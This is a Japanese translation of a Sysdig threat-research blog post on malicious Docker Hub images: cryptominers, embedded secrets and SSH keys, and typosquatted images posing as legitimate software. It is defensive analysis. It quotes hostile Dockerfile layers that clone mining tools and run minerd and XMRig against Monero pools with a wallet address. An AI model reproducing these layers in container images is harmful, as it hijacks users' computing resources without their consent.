Docker Hubの悪意のあるイメージに関する分析:パブリックコンテナイメージを利用した攻撃

By 清水 孝郎 - NOVEMBER 27, 2022

SHARE:

本文の内容は、2022年11月23日にSTEFANO CHIERICIが投稿したブログ(https://sysdig.com/blog/analysis-of-supply-chain-attacks-through-public-docker-images/)を元に日本語に翻訳・再構成した内容となっております。

サプライチェーンへの攻撃は新しいものではありませんが、この1年間は、一般的な依存関係の脆弱性が注目されたため、より大きな注目を集めました。一般的には、依存関係を狙った攻撃が注目されています。これは、ある依存製品や製品のソースコードが悪意のある者によって改変され、それを自分のソフトウェアで使用する人を危険にさらすというものです。

セキュリティソフトウェア SolarWinds に対する2020年の攻撃は、この手法の最も有名な最近の例の1つで、攻撃者は製品自体にバックドアを隠蔽しました。

ソースコード依存は、攻撃的なサプライチェーン活動を行うために使用できる唯一の攻撃ベクトルではありません。コンテナは、近年、非常に人気のある攻撃ベクトルとなっています。コンテナ・イメージはポータブルに設計されているため、ある開発者がコンテナを別の個人と共有することは非常に簡単です。

コンテナレジストリを展開するためのソースコードを提供するオープンソースプロジェクトや、開発者がコンテナイメージを共有するためのフリーアクセスのコンテナレジストリが複数存在します。Docker Hubは、最も人気のある無料かつ一般向けのコンテナレジストリです。このレジストリには、あらかじめ作成されたコンテナイメージが格納されており、必要なソフトウェアがすべてインストールされ、設定されているという大きな利点があります。これらの機能は、時間と労力を大幅に節約できるため、開発者にとって、これらのコンテナを活用することは非常に魅力的です。

攻撃者はこのような利点を理解しており、悪意のあるペイロードを組み込んだイメージを作成することができます。

そして、ユーザーは “docker pull <image>” コマンドを実行し、非常に迅速にコンテナを立ち上げることができるようになります。攻撃者の設定ミスやマルウェアは、ユーザーのマシンや、ユーザーがワークロードをデプロイしているクラウドインスタンスにインストールされることになります。Docker Hubのダウンロードとインストールは不透明であるため、ユーザーはダウンロード前にマニフェスト(すなわちDockerfile)を検査し、ソースが正当であること、そしてイメージがクリーンであることを確認する必要があります。

Sysdig脅威リサーチチームは、Docker Hub上のコンテナイメージにどのような悪意のあるペイロードが隠れているかを理解するために、25万以上のLinuxイメージの分析を行いました。

本記事は、2022版クラウドネイティブな脅威に関するレポートの一部です。

Docker Hub

Docker Hubは、世界中の誰もが無料でDockerコンテナイメージをダウンロード、作成、保存、デプロイできるクラウドベースのイメージリポジトリです。オープンソースのイメージリポジトリへのアクセスを提供するほか、各ユーザーがプライベートリポジトリを作成し、個人的なイメージを保存することができます。

Docker Hubは、Docker Library Projectによってレビューされ公開された公式イメージを提供し、ベストプラクティスが守られていることを確認し、明確なドキュメントと定期的なアップデートを提供します。また、Docker Hubは、Docker Verified Publisher Programを通じて、独立系ソフトウェアベンダー(ISV)を支援します。このプログラムに参加する開発ツールベンダーは、Docker Hubを通じて、Verified Publisherによって署名されたイメージで信頼できるDocker化コンテンツを配布することができ、ユーザーが悪意のあるコンテンツをダウンロードする可能性を低減することができます。

2022年Sysdig Cloud-Native Security and Usage Reportの統計を見ると、プルされたイメージの61%は公開リポジトリからのもので、2021年から15%増加しています。これは、パブリックリポジトリが提供する柔軟性などの機能がユーザーから高く評価されていることを意味しますが、同時に悪意のあるイメージにさらされるリスクも高まっていることになります。

タイポスクワッティング、クリプトマイナーとキー

Sysdig 脅威リサーチチームは、Docker Hubで最近更新されたイメージに関する情報を抽出・収集し、それらのイメージに異常なものや悪意のあるイメージが含まれているかどうかを判断するための分類する仕組みを構築しました。

チームは、特定のイメージが悪意のあるイメージであるかどうかを評価するために、シークレット、IP、URLなどの情報を抽出しました。これらの作業を大量のイメージに対して行うため、抽出と検証のプロセスを自動化し、スケーラビリティを確保しました。このアプローチにより、何十万ものイメージに対して抽出されたすべての情報を迅速に分析することが可能になりました。Sysdig TRTは、複数のオープンソースツールとサービスを使用して、IPとURLが悪意のあるものであるかどうかを判断しました。

解析に際しては、公式イメージや検証済みイメージを除き、数ヶ月間にわたって25万以上のLinuxイメージを解析しました。調査対象は、世界中のユーザーによってアップロードされた公開イメージに絞られました。

公開されたレジストリにある危険なイメージ

Sysdig 脅威リサーチチームは、以下のようにいくつかのカテゴリを基に悪意のあるイメージを収集しました。この分析では、「悪意のあるIPやドメイン」と「シークレット」という2つの主要なカテゴリに焦点を当てました。どちらも、Docker Hubで公開されているイメージをダウンロードしてデプロイしている人々にとって脅威となり、環境を高いリスクにさらす可能性があります。

以下の図は、悪意のあるイメージとして特定された1,652イメージすべてを、そのレイヤーに含まれる悪意のあるコンテンツの種類で分類したものです。



サプライチェーン攻撃の分析

予想通り、クリプトマイニングイメージが最も一般的な悪意のあるイメージであることがわかります。しかし、レイヤーに埋め込まれたシークレットは2番目に多く、シークレット管理に関する根強い課題が浮き彫りになっています。シークレットは、意図せずして不適切なコーディングを行うことでイメージに埋め込まれることもあれば、脅威者が意図的に行うこともあります。SSHキーやAPIキーをコンテナに埋め込むことで、攻撃者はコンテナがデプロイされた時点でアクセスすることができます。認証情報の偶発的な漏洩を防ぐため、機密データスキャンツールは、開発サイクルの一部としてユーザーに警告することができます。

レイヤーにシークレットが埋め込まれているイメージは、悪意のあるイメージの大部分を占めています。Sysdig TRTは、以下のグラフに示すように、漏えいしたシークレットの種類に基づいて、それらのイメージをサブカテゴリに分類しました。



サプライチェーン攻撃の分析

Sysdig TRTは、コンテナイメージに埋め込まれた公開キーは、不正な用途に展開される可能性が高いため、SSHキーのカテゴリーにも含めています。例えば、公開キーをリモートサーバーにアップロードすると、対応するシークレットキーの所有者はSSH経由でシェルを開いてコマンドを実行できるようになり、バックドアを埋め込むのと同じようなことが可能になります。

また、他のカテゴリーに属するシークレットキーは、レイヤー内で一般にアクセス可能であるため、誰でも異なるサービスやプラットフォームで認証できるようになる可能性があります。

正規のソフトウェアに見せかけた悪意のあるイメージ

Docker Hubの調査中に、Sysdig TRTは、ユーザーを騙してダウンロードしてデプロイさせるために、人気のあるオープンソースソフトウェアとして表示されるイメージ名を発見しました。この行為はtyposquattingとして知られており、正規の公式イメージであるかのように装いながら、そのレイヤーの中に何か悪意のあるものを隠しているのです。

以下のイメージは、一般的なサービスを提供する正規のイメージとして名付けられていますが、その代わりに暗号通貨をマイニングする仕組みが隠されています。不注意なユーザーは、意図した公式イメージではなく、これらのイメージの1つを誤ってインストールしてしまうことがあります。このようなミスは、ブログやフォーラムからコードや設定をコピー&ペーストするような、クラウドソーシングの知識を利用する際に最もよく起こります。

Analysis of supply chain attacks
正規のソフトウェアを模倣した悪意のあるイメージ

これらのイメージのレイヤーを検査することで、クリプトマイニングであることが確認できます。実際に、これらのレイヤーの一部は以下の通りです。

…cut
/bin/sh -c git clone https://github.com/OhGodAPet/cpuminer-multi
…cut
ENTRYPOINT ["/bin/minerd" "-a" "cryptonight" "-o" "stratum+tcp://xmr.pool.minergate.com:45560" "-u" "[email protected]" "-p" "x" "-t" "1"]

イメージのレイヤーは、Docker Hub上で直接探索することができます。例えば、ynprpagamentitk/liferayのレイヤーは、このURLからアクセスできます。

興味深いことに、これらのイメージは異なるユーザーによって公開されていますが、すべて同じレイヤーを含んでいます。つまり、これらのイメージは同じ脅威アクターに属しているか、攻撃者のプレイブックに従っている可能性が高いということです。また、これらのユーザが公開したイメージは1つだけであり、この脅威の担い手を追跡することが困難になっています。前のレイヤーの最初のレイヤーでクローンされたリポジトリはもう存在しませんが、その名前は、それがマイニングツールであったことを強く示唆しています。また、GithubユーザーのOhGodAPetは現在も活動しており、マイニングツールのリポジトリを複数フォークしています。

前のレイヤーの最後では、悪意のあるイメージは、マイナーのURL “stratum+tcp://xmr.pool.minergate.com:45560” を含むいくつかのパラメータを持つ “minerd” バイナリを実行します。

各イメージのダウンロード数を見ると、何百人ものユーザーが、正規のイメージだと思っていたイメージがマイナーであることを知らずに、騙されてプルしてきていたことが分かります。

Sysdig TRTは、2022年7月31日にDocker Hubで、特に偽装されたイメージのみをアップロードしていた別のユーザー、vibersastraを発見しました:

Analysis of supply chain attacks
正規のソフトウェアになりすました悪意のあるイメージ

レイヤーを見てみると、それらのイメージは以下のようにXMRigマイナーツールをダウンロードし、それを使って所有者のウォレットに向けてMoneroを採掘していることがわかります:

…cut
RUN /bin/sh -c git clone --branch "v6.17.0" https://github.com/xmrig/xmrig # buildkit
…cut
RUN /bin/sh -c chmod +x /xmrig/build/xmrig.sh # buildkit
…cut
CMD ["--url=pool.hashvault.pro:80" "--user=88XgkSPJV9u28F4SJQtdW6U46RKDHB36aTzeM2f1yWsxTcX8QuSPDbHU1TTXChYpBeh9McphG2GYN77Lhu7jtfvp3HVytgc.featuring" "--algo=rx/0" "--pass=x" "-t 4"]

緩和策

コンテナイメージは、理論的なリスクではなく、現実的な攻撃のベクトルとなっていることは明らかです。Sysdig TRTが説明した悪意のある行為者が採用する手法は、特にクラウドとコンテナのワークロードを標的にしています。このようなワークロードをデプロイしている組織は、クラウドを標的とした攻撃を軽減することができる、適切な防御および検知のセキュリティ対策を確実に実施する必要があります。

今回の調査により、Sysdig 脅威リサーチチームは、SHA-256ダイジェストに基づき、既知の悪意のあるコンテナイメージのフィードを作成できるようになりました。このフィードを利用することで、Sysdigのお客様は、お客様の環境でこれらのコンテナが確認された際にアラートを発し、適切な対応策を講じることができるようになります。既知の悪意のあるコンテナが環境内に現れた場合、セキュリティチームに通知しながら、直ちに強制終了、一時停止、停止することができます。また、Sysdig TRTフィードをアドミッション・コントローラに統合することで、そのダイジェストに基づくイメージのデプロイを防止することも可能です。

最後の言葉

今日使用されているソフトウェアの多くは、他のソフトウェアパッケージに大量に依存しています。これらの依存関係の起源は非常に多様で、大手企業が制作・サポートしているものもあれば、もうそのプロジェクトをサポートしていないかもしれない無名の関係者が開発しているものもあります。

このようなコードの共有という概念はコンテナにも広がり、人々はDocker Hubのようなサイトでコンテナベースの作品を簡単に共有することができるようになりました。これにより、プラットフォーム全体のテストやデプロイが非常に容易になりましたが、同時に、悪意のあるものを使用してしまうリスクも高まっています。脅威者は、共有コンテナにマルウェアを仕込み、ユーザがそれをダウンロードして自分のインフラストラクチャー上で実行することを望んでいます。インストールされるマルウェアは、クリプトマイナーからバックドア、データを自動的に漏洩させるツールに至るまで、多岐にわたります。

組織のコンテナ環境で何が起こっているかを理解し、監視することは、これまで以上に重要です。

もっと知りたいですか?2022版クラウドネイティブな脅威に関するレポートの全レポートをダウンロードしましょう!